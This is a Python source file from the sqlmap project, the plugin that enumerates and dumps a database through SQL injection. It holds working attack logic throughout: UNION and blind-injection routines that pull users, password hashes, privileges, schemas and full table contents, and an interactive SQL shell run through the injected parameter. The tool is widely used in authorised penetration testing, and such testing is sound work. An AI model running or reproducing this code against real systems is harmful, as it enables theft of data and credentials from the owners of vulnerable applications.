sqlmap/plugins/generic/enumeration.py

1042 lines
38 KiB
Python

#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import getRange
from lib.core.common import parsePasswordHash
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.dump import dumper
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.request import inject
from lib.request.connect import Connect as Request
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
"""
def __init__(self, dbms):
self.has_information_schema = False
self.banner = ""
self.currentUser = ""
self.currentDb = ""
self.cachedUsers = []
self.cachedUsersPassword = {}
self.cachedUsersPrivileges = {}
self.cachedDbs = []
self.cachedTables = {}
self.cachedColumns = {}
self.dumpedTable = {}
temp.inference = queries[dbms].inference
def forceDbmsEnum(self):
pass
def getBanner(self):
logMsg = "fetching banner"
logger.info(logMsg)
query = queries[kb.dbms].banner
if not self.banner:
self.banner = inject.getValue(query)
return self.banner
def getCurrentUser(self):
logMsg = "fetching current user"
logger.info(logMsg)
query = queries[kb.dbms].currentUser
if not self.currentUser:
self.currentUser = inject.getValue(query)
return self.currentUser
def getCurrentDb(self):
logMsg = "fetching current database"
logger.info(logMsg)
query = queries[kb.dbms].currentDb
if not self.currentDb:
self.currentDb = inject.getValue(query)
return self.currentDb
def getUsers(self):
logMsg = "fetching database users"
logger.info(logMsg)
rootQuery = queries[kb.dbms].users
condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
condition |= ( kb.dbms == "MySQL" and not self.has_information_schema )
if conf.unionUse:
if condition:
query = rootQuery["inband"]["query2"]
else:
query = rootQuery["inband"]["query"]
value = inject.getValue(query, blind=False)
if value:
self.cachedUsers = value
if not self.cachedUsers:
logMsg = "fetching number of database users"
logger.info(logMsg)
if condition:
query = rootQuery["blind"]["count2"]
else:
query = rootQuery["blind"]["count"]
count = inject.getValue(query, inband=False)
if not len(count) or count == "0":
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
for index in indexRange:
if condition:
query = rootQuery["blind"]["query2"] % index
else:
query = rootQuery["blind"]["query"] % index
user = inject.getValue(query, inband=False)
if user:
self.cachedUsers.append(user)
if not self.cachedUsers:
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return self.cachedUsers
def getPasswordHashes(self):
logMsg = "fetching database users password hashes"
logger.info(logMsg)
rootQuery = queries[kb.dbms].passwords
if conf.unionUse:
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["inband"]["query2"]
else:
query = rootQuery["inband"]["query"]
condition = rootQuery["inband"]["condition"]
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else:
query += " WHERE %s = '%s'" % (condition, conf.user)
value = inject.getValue(query, blind=False)
if value:
for user, password in value:
if not user or user == " ":
continue
password = parsePasswordHash(password)
if not self.cachedUsersPassword.has_key(user):
self.cachedUsersPassword[user] = [password]
else:
self.cachedUsersPassword[user].append(password)
if not self.cachedUsersPassword:
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
else:
users = [conf.user]
else:
if not len(self.cachedUsers):
users = self.getUsers()
else:
users = self.cachedUsers
retrievedUsers = set()
for user in users:
if kb.dbms == "MySQL":
parsedUser = re.search("\047(.*?)\047@'", user)
if parsedUser:
user = parsedUser.groups()[0]
if user in retrievedUsers:
continue
logMsg = "fetching number of password hashes "
logMsg += "for user '%s'" % user
logger.info(logMsg)
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["blind"]["count2"] % user
else:
query = rootQuery["blind"]["count"] % user
count = inject.getValue(query, inband=False)
if not len(count) or count == "0":
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
logMsg = "fetching password hashes for user '%s'" % user
logger.info(logMsg)
passwords = []
indexRange = getRange(count)
for index in indexRange:
if kb.dbms == "Microsoft SQL Server":
if kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["blind"]["query2"] % (user, index, user)
else:
query = rootQuery["blind"]["query"] % (user, index, user)
else:
query = rootQuery["blind"]["query"] % (user, index)
password = inject.getValue(query, inband=False)
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
self.cachedUsersPassword[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not self.cachedUsersPassword:
errMsg = "unable to retrieve the password "
errMsg += "hashes for the database users"
raise sqlmapNoneDataException, errMsg
return self.cachedUsersPassword
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
dbaCondition = ( kb.dbms == "PostgreSQL" and "super" in privileges )
# In Oracle the DBA privilege means that the
# user is DBA
dbaCondition |= ( kb.dbms == "Oracle" and "DBA" in privileges )
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
dbaCondition |= ( kb.dbms == "MySQL" and self.has_information_schema and "SUPER" in privileges )
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
dbaCondition |= ( kb.dbms == "MySQL" and not self.has_information_schema and "super_priv" in privileges )
return dbaCondition
def getPrivileges(self):
logMsg = "fetching database users privileges"
logger.info(logMsg)
rootQuery = queries[kb.dbms].privileges
# Set containing the list of DBMS administrators
areAdmins = set()
mysqlPrivs = (
( 1, "select_priv" ),
( 2, "insert_priv" ),
( 3, "update_priv" ),
( 4, "delete_priv" ),
( 5, "create_priv" ),
( 6, "drop_priv" ),
( 7, "reload_priv" ),
( 8, "shutdown_priv" ),
( 9, "process_priv" ),
( 10, "file_priv" ),
( 11, "grant_priv" ),
( 12, "references_priv" ),
( 13, "index_priv" ),
( 14, "alter_priv" ),
( 15, "show_db_priv" ),
( 16, "super_priv" ),
( 17, "create_tmp_table_priv" ),
( 18, "lock_tables_priv" ),
( 19, "execute_priv" ),
( 20, "repl_slave_priv" ),
( 21, "repl_client_priv" ),
( 22, "create_view_priv" ),
( 23, "show_view_priv" ),
( 24, "create_routine_priv" ),
( 25, "alter_routine_priv" ),
( 26, "create_user_priv" ),
)
pgsqlPrivs = (
( 1, "createdb" ),
( 2, "super" ),
( 3, "catupd" ),
)
if conf.unionUse:
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["inband"]["query2"]
condition = rootQuery["inband"]["condition2"]
else:
query = rootQuery["inband"]["query"]
condition = rootQuery["inband"]["condition"]
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
query += " WHERE "
# NOTE: we need this here only for MySQL 5.0 because
# of a known issue explained in queries.xml
if kb.dbms == "MySQL" and self.has_information_schema:
likeUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else:
# NOTE: we need this here only for MySQL 5.0 because
# of a known issue explained in queries.xml
if kb.dbms == "MySQL" and self.has_information_schema:
likeUser = "%" + conf.user + "%"
query += " WHERE %s LIKE '%s'" % (condition, likeUser)
else:
query += " WHERE %s = '%s'" % (condition, conf.user)
values = inject.getValue(query, blind=False)
if values:
for value in values:
user = None
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
if kb.dbms == "PostgreSQL" and privilege.isdigit():
for position, pgsqlPriv in pgsqlPrivs:
if count == position and int(privilege) == 1:
privileges.add(pgsqlPriv)
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif kb.dbms == "MySQL" and not self.has_information_schema:
for position, mysqlPriv in mysqlPrivs:
if count == position and privilege.upper() == "Y":
privileges.add(mysqlPriv)
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
if self.cachedUsersPrivileges.has_key(user):
self.cachedUsersPrivileges[user].extend(privileges)
else:
self.cachedUsersPrivileges[user] = list(privileges)
if not self.cachedUsersPrivileges:
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
else:
users = [conf.user]
else:
if not len(self.cachedUsers):
users = self.getUsers()
else:
users = self.cachedUsers
retrievedUsers = set()
for user in users:
if kb.dbms == "MySQL":
parsedUser = re.search("\047(.*?)\047@'", user)
if parsedUser:
user = parsedUser.groups()[0].replace("'", "")
if user in retrievedUsers:
continue
logMsg = "fetching number of privileges "
logMsg += "for user '%s'" % user
logger.info(logMsg)
if kb.dbms == "MySQL" and self.has_information_schema:
likeUser = "%" + user + "%"
else:
likeUser = user
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["count2"] % likeUser
else:
query = rootQuery["blind"]["count"] % likeUser
count = inject.getValue(query, inband=False)
if not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % likeUser
logger.warn(warnMsg)
continue
logMsg = "fetching privileges for user '%s'" % likeUser
logger.info(logMsg)
privileges = set()
indexRange = getRange(count)
for index in indexRange:
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["query2"] % (likeUser, index)
else:
query = rootQuery["blind"]["query"] % (likeUser, index)
privilege = inject.getValue(query, inband=False)
# In PostgreSQL we return 1 if the privilege
# if True, otherwise 0
if kb.dbms == "PostgreSQL" and ", " in privilege:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in pgsqlPrivs:
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif kb.dbms == "MySQL" and not self.has_information_schema:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.upper() == "Y":
for position, mysqlPriv in mysqlPrivs:
if position == i:
privileges.add(mysqlPriv)
i += 1
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
if privileges:
self.cachedUsersPrivileges[user] = list(privileges)
else:
warnMsg = "unable to retrieve the privileges "
warnMsg += "for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not self.cachedUsersPrivileges:
errMsg = "unable to retrieve the privileges "
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
return ( self.cachedUsersPrivileges, areAdmins )
def getDbs(self):
if kb.dbms == "MySQL" and not self.has_information_schema:
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg)
logMsg = "fetching database names"
logger.info(logMsg)
rootQuery = queries[kb.dbms].dbs
if conf.unionUse:
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["inband"]["query2"]
else:
query = rootQuery["inband"]["query"]
value = inject.getValue(query, blind=False)
if value:
self.cachedDbs = value
if not self.cachedDbs:
logMsg = "fetching number of databases"
logger.info(logMsg)
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["count2"]
else:
query = rootQuery["blind"]["count"]
count = inject.getValue(query, inband=False)
if not len(count) or count == "0":
errMsg = "unable to retrieve the number of databases"
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
for index in indexRange:
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["query2"] % index
else:
query = rootQuery["blind"]["query"] % index
db = inject.getValue(query, inband=False)
if db:
self.cachedDbs.append(db)
if not self.cachedDbs:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
return self.cachedDbs
def getTables(self):
if kb.dbms == "MySQL" and not self.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
self.forceDbmsEnum()
logMsg = "fetching tables"
if conf.db:
logMsg += " for database '%s'" % conf.db
logger.info(logMsg)
rootQuery = queries[kb.dbms].tables
if conf.unionUse:
query = rootQuery["inband"]["query"]
condition = rootQuery["inband"]["condition"]
if conf.db:
if "," in conf.db:
dbs = conf.db.split(",")
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs)
else:
query += " WHERE %s='%s'" % (condition, conf.db)
elif conf.excludeSysDbs:
query += " WHERE "
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(logMsg)
value = inject.getValue(query, blind=False)
if value:
for db, table in value:
if not self.cachedTables.has_key(db):
self.cachedTables[db] = [table]
else:
self.cachedTables[db].append(table)
if not self.cachedTables:
if conf.db:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
else:
if not len(self.cachedDbs):
dbs = self.getDbs()
else:
dbs = self.cachedDbs
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db
logger.info(logMsg)
continue
logMsg = "fetching number of tables for "
logMsg += "database '%s'" % db
logger.info(logMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False)
if not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
indexRange = getRange(count)
for index in indexRange:
query = rootQuery["blind"]["query"] % (db, index)
table = inject.getValue(query, inband=False)
tables.append(table)
if tables:
self.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not self.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
return self.cachedTables
def getColumns(self, onlyColNames=False):
if kb.dbms == "MySQL" and not self.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
if not conf.tbl:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
if "." in conf.tbl:
conf.db, conf.tbl = conf.tbl.split(".")
self.forceDbmsEnum()
if not conf.db:
errMsg = "missing database parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
logMsg = "fetching columns "
logMsg += "for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db
logger.info(logMsg)
rootQuery = queries[kb.dbms].columns
if kb.dbms == "Oracle":
conf.db = conf.db.upper()
conf.tbl = conf.tbl.upper()
if conf.unionUse:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
elif kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % conf.tbl.upper()
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["inband"]["query"] % (conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.tbl)
value = inject.getValue(query, blind=False)
if value:
table = {}
columns = {}
for column, colType in value:
columns[column] = colType
table[conf.tbl] = columns
self.cachedColumns[conf.db] = table
if not self.cachedColumns:
logMsg = "fetching number of columns "
logMsg += "for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db
logger.info(logMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper()
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
count = inject.getValue(query, inband=False)
if not len(count) or count == "0":
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
table = {}
columns = {}
indexRange = getRange(count)
for index in indexRange:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index)
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index)
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["blind"]["query"] % (index, conf.db,
conf.db, conf.tbl)
column = inject.getValue(query, inband=False)
if not onlyColNames:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["query2"] % (conf.tbl, column, conf.db)
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["query2"] % (conf.tbl.upper(), column)
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db,
conf.db, column, conf.db,
conf.db, conf.db, conf.tbl)
colType = inject.getValue(query, inband=False)
columns[column] = colType
else:
columns[column] = None
if columns:
table[conf.tbl] = columns
self.cachedColumns[conf.db] = table
if not self.cachedColumns:
errMsg = "unable to retrieve the columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
return self.cachedColumns
def dumpTable(self):
if not conf.tbl:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
if "." in conf.tbl:
conf.db, conf.tbl = conf.tbl.split(".")
self.forceDbmsEnum()
if not conf.db:
errMsg = "missing database parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
rootQuery = queries[kb.dbms].dumpTable
if conf.col:
self.cachedColumns[conf.db] = {}
self.cachedColumns[conf.db][conf.tbl] = {}
for column in colList:
self.cachedColumns[conf.db][conf.tbl][column] = None
elif not self.cachedColumns:
if kb.dbms == "MySQL" and not self.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
self.cachedColumns = self.getColumns(onlyColNames=True)
colList = self.cachedColumns[conf.db][conf.tbl].keys()
colList.sort(key=lambda x: x.lower())
colString = ", ".join(column for column in colList)
logMsg = "fetching"
if conf.col:
colList = conf.col.split(",")
colString = ", ".join(column for column in colList)
logMsg += " columns '%s'" % colString
logMsg += " entries for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db
logger.info(logMsg)
if conf.unionUse:
if kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
else:
query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl)
entries = inject.getValue(query, blind=False)
if entries:
entriesCount = len(entries)
index = 0
for column in colList:
colLen = len(column)
if not self.dumpedTable.has_key(column):
self.dumpedTable[column] = { "length": 0, "values": [] }
for entry in entries:
if isinstance(entry, str):
colEntry = entry
else:
colEntry = entry[index]
colEntryLen = len(colEntry)
maxLen = max(colLen, colEntryLen)
if maxLen > self.dumpedTable[column]["length"]:
self.dumpedTable[column]["length"] = maxLen
self.dumpedTable[column]["values"].append(colEntry)
index += 1
if not self.dumpedTable:
if conf.unionUse:
warnMsg = "unable to retrieve the "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
warnMsg += " through UNION query SQL injection, "
warnMsg += "probably because it has no entries, going "
warnMsg += "blind to confirm"
logger.warn(warnMsg)
logMsg = "fetching number of "
if conf.col:
logMsg += "columns '%s' " % colString
logMsg += "entries for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db
logger.info(logMsg)
if kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper()
else:
query = rootQuery["blind"]["count"] % (conf.db, conf.tbl)
count = inject.getValue(query, inband=False)
if not len(count) or count == "0":
errMsg = "unable to retrieve the number of "
if conf.col:
errMsg += "columns '%s' " % colString
errMsg += "entries for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
if conf.dumpAll:
logger.warn(errMsg)
return self.dumpedTable
else:
raise sqlmapNoneDataException, errMsg
lengths = {}
entries = {}
indexRange = getRange(count, True)
for index in indexRange:
for column in colList:
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = []
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["query"] % (column, conf.db,
conf.tbl, index)
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["query"] % (column, column,
conf.tbl.upper(),
index)
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["blind"]["query"] % (column, conf.db,
conf.tbl, column,
index, column,
conf.db, conf.tbl)
value = inject.getValue(query, inband=False)
lengths[column] = max(lengths[column], len(value))
entries[column].append(value)
for column, columnEntries in entries.items():
if lengths[column] < len(column):
length = len(column)
else:
length = lengths[column]
self.dumpedTable[column] = {
"length": length,
"values": columnEntries,
}
entriesCount = len(columnEntries)
if self.dumpedTable:
self.dumpedTable["__infos__"] = {
"count": entriesCount,
"table": conf.tbl,
"db": conf.db
}
else:
errMsg = "unable to retrieve the entries of "
if conf.col:
errMsg += "columns '%s' " % colString
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
if conf.dumpAll:
logger.warn(errMsg)
return self.dumpedTable
else:
raise sqlmapNoneDataException, errMsg
return self.dumpedTable
def dumpAll(self):
if kb.dbms == "MySQL" and not self.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
conf.db = None
conf.tbl = None
conf.col = None
self.cachedDbs = []
self.cachedTables = self.getTables()
for db, tables in self.cachedTables.items():
conf.db = db
for table in tables:
conf.tbl = table
self.cachedColumns = {}
self.dumpedTable = {}
data = self.dumpTable()
if data:
dumper.dbTableValues(data)
def sqlQuery(self, query):
logMsg = "fetching SQL SELECT query output: '%s'" % query
logger.info(logMsg)
if query.startswith("select "):
query = query.replace("select ", "SELECT ", 1)
if " from " in query:
query = query.replace(" from ", " FROM ")
output = inject.getValue(query, fromUser=True)
if output == "Quit":
return None
else:
return output
def sqlShell(self):
logMsg = "calling %s shell. To quit type " % kb.dbms
logMsg += "'x' or 'q' and press ENTER"
logger.info(logMsg)
autoCompletion(sqlShell=True)
while True:
query = None
try:
query = raw_input("sql> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not query:
continue
if query.lower() in ( "x", "q", "exit", "quit" ):
break
output = self.sqlQuery(query)
if output and output != "Quit":
dumper.string(query, output)
elif output != "Quit":
print "No output"